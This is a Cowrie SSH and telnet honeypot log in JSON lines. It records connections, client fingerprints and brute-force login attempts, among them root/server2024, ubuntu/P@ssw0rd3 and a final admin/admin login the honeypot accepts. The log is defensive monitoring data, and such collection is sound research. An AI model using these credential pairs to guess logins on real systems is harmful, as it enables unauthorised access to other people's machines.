{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:38:37.808668Z","src_ip":"187.16.96.250","session":"01a4639f6a34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:38:37.925102Z","src_ip":"187.16.96.250","session":"01a4639f6a34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab123","message":"login attempt [gitlab/gitlab123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:38:38.425671Z","src_ip":"187.16.96.250","session":"01a4639f6a34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:38:39.545691Z","src_ip":"187.16.96.250","session":"01a4639f6a34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01860404014587,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:39:36.967836Z","src_ip":"89.43.132.91","session":"eb4f6ca161be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.132.91","src_port":38302,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f4c3e3758ba","protocol":"telnet","message":"New connection: 89.43.132.91:38302 (10.17.0.5:23) [session: 8f4c3e3758ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:39:37.607641Z"}
{"eventid":"cowrie.session.closed","duration":120.00129628181458,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:39:40.856124Z","src_ip":"89.43.132.91","session":"e032ccb9c335","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.132.91","src_port":44808,"dst_ip":"10.17.0.5","dst_port":23,"session":"e99080627805","protocol":"telnet","message":"New connection: 89.43.132.91:44808 (10.17.0.5:23) [session: e99080627805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:39:41.622275Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.212.119.28","src_port":39427,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb956359baf9","protocol":"telnet","message":"New connection: 115.212.119.28:39427 (159.203.135.109:23) [session: bb956359baf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:39:56.582645Z"}
{"eventid":"cowrie.session.closed","duration":12.323293685913086,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:40:08.905834Z","src_ip":"115.212.119.28","session":"bb956359baf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":57654,"dst_ip":"10.17.0.5","dst_port":23,"session":"99014a07dd8e","protocol":"telnet","message":"New connection: 69.65.3.189:57654 (10.17.0.5:23) [session: 99014a07dd8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:40:12.947869Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":44494,"dst_ip":"10.17.0.5","dst_port":22,"session":"19f6202e3178","protocol":"ssh","message":"New connection: 80.94.92.184:44494 (10.17.0.5:22) [session: 19f6202e3178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:40:19.938850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:40:19.997711Z","src_ip":"80.94.92.184","session":"19f6202e3178","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:40:20.345587Z","src_ip":"80.94.92.184","session":"19f6202e3178","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:40:20.866918Z","src_ip":"80.94.92.184","session":"19f6202e3178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:40:22.075315Z","src_ip":"80.94.92.184","session":"19f6202e3178","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":60630,"dst_ip":"10.17.0.5","dst_port":23,"session":"b98be5a728c1","protocol":"telnet","message":"New connection: 69.65.3.189:60630 (10.17.0.5:23) [session: b98be5a728c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:40:37.576319Z"}
{"eventid":"cowrie.session.closed","duration":33.00559735298157,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:40:45.953321Z","src_ip":"69.65.3.189","session":"99014a07dd8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":49206,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4f9fc07b5a5","protocol":"telnet","message":"New connection: 157.49.80.15:49206 (10.17.0.5:23) [session: b4f9fc07b5a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:41:04.907779Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.118.172","src_port":36996,"dst_ip":"10.17.0.5","dst_port":23,"session":"1594894bf4f8","protocol":"telnet","message":"New connection: 43.134.118.172:36996 (10.17.0.5:23) [session: 1594894bf4f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:41:05.515517Z"}
{"eventid":"cowrie.session.closed","duration":41.601468086242676,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:41:19.177629Z","src_ip":"69.65.3.189","session":"b98be5a728c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.797861337661743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:41:36.313211Z","src_ip":"43.134.118.172","session":"1594894bf4f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00148105621338,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:41:37.609019Z","src_ip":"89.43.132.91","session":"8f4c3e3758ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00099444389343,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:41:41.623162Z","src_ip":"89.43.132.91","session":"e99080627805","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.132.91","src_port":36321,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1cd1ce3f2fc","protocol":"telnet","message":"New connection: 89.43.132.91:36321 (10.17.0.5:23) [session: a1cd1ce3f2fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:41:42.200813Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":38834,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd4540f9b6c2","protocol":"ssh","message":"New connection: 187.16.96.250:38834 (159.203.135.109:22) [session: cd4540f9b6c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:41:47.460482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:41:47.465024Z","src_ip":"187.16.96.250","session":"cd4540f9b6c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:41:47.580971Z","src_ip":"187.16.96.250","session":"cd4540f9b6c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2024","message":"login attempt [root/server2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:41:48.080255Z","src_ip":"187.16.96.250","session":"cd4540f9b6c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:41:49.198735Z","src_ip":"187.16.96.250","session":"cd4540f9b6c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.118.172","src_port":59494,"dst_ip":"10.17.0.5","dst_port":23,"session":"38e18622fbd5","protocol":"telnet","message":"New connection: 43.134.118.172:59494 (10.17.0.5:23) [session: 38e18622fbd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:42:18.295818Z"}
{"eventid":"cowrie.session.closed","duration":32.26245355606079,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:42:50.558139Z","src_ip":"43.134.118.172","session":"38e18622fbd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00172734260559,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:43:04.909360Z","src_ip":"157.49.80.15","session":"b4f9fc07b5a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":33976,"dst_ip":"10.17.0.5","dst_port":23,"session":"15f1ca28e444","protocol":"telnet","message":"New connection: 157.49.80.15:33976 (10.17.0.5:23) [session: 15f1ca28e444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:43:05.423338Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":47148,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e778b5c8b25","protocol":"ssh","message":"New connection: 80.94.92.184:47148 (10.17.0.5:22) [session: 8e778b5c8b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:43:15.553185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:43:15.657047Z","src_ip":"80.94.92.184","session":"8e778b5c8b25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:43:15.788646Z","src_ip":"80.94.92.184","session":"8e778b5c8b25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:43:17.002587Z","src_ip":"80.94.92.184","session":"8e778b5c8b25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:43:18.321747Z","src_ip":"80.94.92.184","session":"8e778b5c8b25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":60984,"dst_ip":"159.203.135.109","dst_port":23,"session":"a97882474ea8","protocol":"telnet","message":"New connection: 185.26.126.47:60984 (159.203.135.109:23) [session: a97882474ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:43:25.409170Z"}
{"eventid":"cowrie.session.closed","duration":120.0011191368103,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:43:42.201795Z","src_ip":"89.43.132.91","session":"a1cd1ce3f2fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.77708387374878,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:44:14.186161Z","src_ip":"185.26.126.47","session":"a97882474ea8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":46770,"dst_ip":"10.17.0.5","dst_port":23,"session":"4662490bbc49","protocol":"telnet","message":"New connection: 69.65.3.189:46770 (10.17.0.5:23) [session: 4662490bbc49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:44:55.146108Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":35954,"dst_ip":"159.203.135.109","dst_port":22,"session":"a30ba237359b","protocol":"ssh","message":"New connection: 187.16.96.250:35954 (159.203.135.109:22) [session: a30ba237359b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:45:03.545649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:45:03.551302Z","src_ip":"187.16.96.250","session":"a30ba237359b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:45:03.669221Z","src_ip":"187.16.96.250","session":"a30ba237359b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd3","message":"login attempt [ubuntu/P@ssw0rd3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:45:04.173655Z","src_ip":"187.16.96.250","session":"a30ba237359b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:45:05.296418Z","src_ip":"187.16.96.250","session":"a30ba237359b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0030586719513,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:45:05.426324Z","src_ip":"157.49.80.15","session":"15f1ca28e444","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":46446,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7153b4042e8","protocol":"telnet","message":"New connection: 157.49.80.15:46446 (10.17.0.5:23) [session: c7153b4042e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:45:07.475416Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":51938,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fe0c624da44","protocol":"ssh","message":"New connection: 87.251.64.176:51938 (10.17.0.5:22) [session: 3fe0c624da44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:45:25.030116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:45:25.035701Z","src_ip":"87.251.64.176","session":"3fe0c624da44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:45:25.138505Z","src_ip":"87.251.64.176","session":"3fe0c624da44","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:45:25.429735Z","src_ip":"87.251.64.176","session":"3fe0c624da44","protocol":"ssh"}
